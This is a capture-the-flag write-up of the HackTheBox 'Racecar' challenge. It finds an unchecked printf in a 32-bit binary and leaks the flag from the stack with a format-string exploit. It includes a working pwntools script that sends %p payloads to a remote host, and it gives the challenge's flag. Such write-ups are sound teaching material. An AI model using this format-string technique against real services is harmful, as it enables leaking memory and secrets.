HTB: Racecar

A HackTheBox pwn challenge with a format string attack.

Racecar is a very easy pwn challenge. In this challenge I will use a format string attack.


Running file racecar shows that it is a 32 bit binary.

fabrzhz@backdoor.zip$ file racecar racecar: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, not stripped

Running the program with some input shows the following output:

Image alt

I will open the binary in Ghidra and search for strings

Scrolling down a bit, I notice the same strings as I saw when I ran the binary.

After clicking on one of the strings, I open the decomplied view. Here I notice that the flag.txt is opened in read mode and returns a pointer to __stream.

The fgets function reads a line from the file pointed to by __stream (the flag) and stores it in the buffer local_3c, which is an array of size 0x2c (44 bytes).

The read(0, __format, 0x170) reads my input and stores it in the buffer __format of size 0x170 (368 bytes).

My input is printed at the printf, but our input is not checked, hence we can do a format string attack.

Common parameters used in a format string attack

Parameters Output Passed as
%p External representation of a pointer to void Reference
%d Decimal Value
%c Character
%u Unsigned decimal Value
%x Hexadecimal Value
%s String Reference
%n Writes the number of characters into a pointer Reference

More information about format string attacks can be read here: https://owasp.org/www-community/attacks/Format_string_attack.

If I run the binary and give many %p’s, data on the stack will be leaked in hexadecimal.

Great, I know how to print values from the stack, since we can run the binary lically to test, I can create a flag with the value AAAA, this will make it easy to spot in all the %p’s.
And as expected the flag is leaked.

all there is left is write a pwntools script that replicate this and get the real flag.

python

#!/usr/bin/env python3
from pwn import *
try:
	context.log_level = 'ERROR'

	payload = b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
	ip = '178.62.9.40' # replace with the IP of the target
	port = 32538 # replace with the port of the target	
	p = remote(ip, port) # Connect to the remote service

	# p = process('./racecar') # used for local testing
	p.sendlineafter(b'Name:', b'a')
	p.sendlineafter(b'Nickname:', b'aa')
	p.sendlineafter(b'>', b'2') #selectio 
	p.sendlineafter(b'>', b'2') # car
	p.sendlineafter(b'>', b'1') #circuit
	p.sendlineafter(b'>', payload)

	x = p.recv()
	x = p.recv().decode('utf-8')
	flag_hex_string = x.split('\n')[2]
	print(f'flag encoded: {flag_hex_string}')
except Exception as e:
	print(f'Exception {e}')

Great, that gives the following output

fabrzhz@backdoor.zip$ python3 racecar_exploit.py flag encoded: 0x565d91c0 0x170 0x56573dfa 0x42 0x4 0x26 0x2 0x1 0x5657496c 0x565d91c0 0x565d9340 0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 0xb5f2ae00 0xf7f9c3fc 0x56576f8c

Now we have to add the decoding, that gives the following complete script:

python

#!/usr/bin/env python3
from pwn import *
try:
	context.log_level = 'ERROR'

	payload = b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
	ip = '178.62.9.40' # replace with the IP of the target
	port = 32538 # replace with the port of the target	
	p = remote(ip, port) # Connect to the remote service

	# p = process('./racecar') # used for local testing
	p.sendlineafter(b'Name:', b'a')
	p.sendlineafter(b'Nickname:', b'aa')
	p.sendlineafter(b'>', b'2') #selectio 
	p.sendlineafter(b'>', b'2') # car
	p.sendlineafter(b'>', b'1') #circuit
	p.sendlineafter(b'>', payload)

	x = p.recv()
	x = p.recv().decode('utf-8')
	flag_hex_string = x.split('\n')[2]
	print(f'flag encoded: {flag_hex_string}')

	# === flag decoding ===
	flag_hex_string_array  = flag_hex_string.split(' ')
	flag = ''
	for piece in flag_hex_string_array:
		without_0x = piece[2:]
		try:
			blep = bytearray.fromhex(without_0x).decode('utf-8', errors='replace')
			blep = blep[::-1]
			flag += blep
		except:
			pass
	print(f'flag: {flag}')

except Exception as e:
	print(f'Exception {e}')

And the flag can be read succesfully, you have to look closely ;)

fabrzhz@backdoor.zip$ python3 racecar_exploit.py flag encoded: 0x571481c0 0x170 0x56615dfa 0x3b 0x1 0x26 0x2 0x1 0x5661696c 0x571481c0 0x57148340 0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 0xf2c48f00 0xf7f713fc 0x56618f8c flag: ��\x14�]aV;&liaV��\x14@�\x14HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}\x00\x8f��\x13\xbf\xbd���aV

Flag: HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}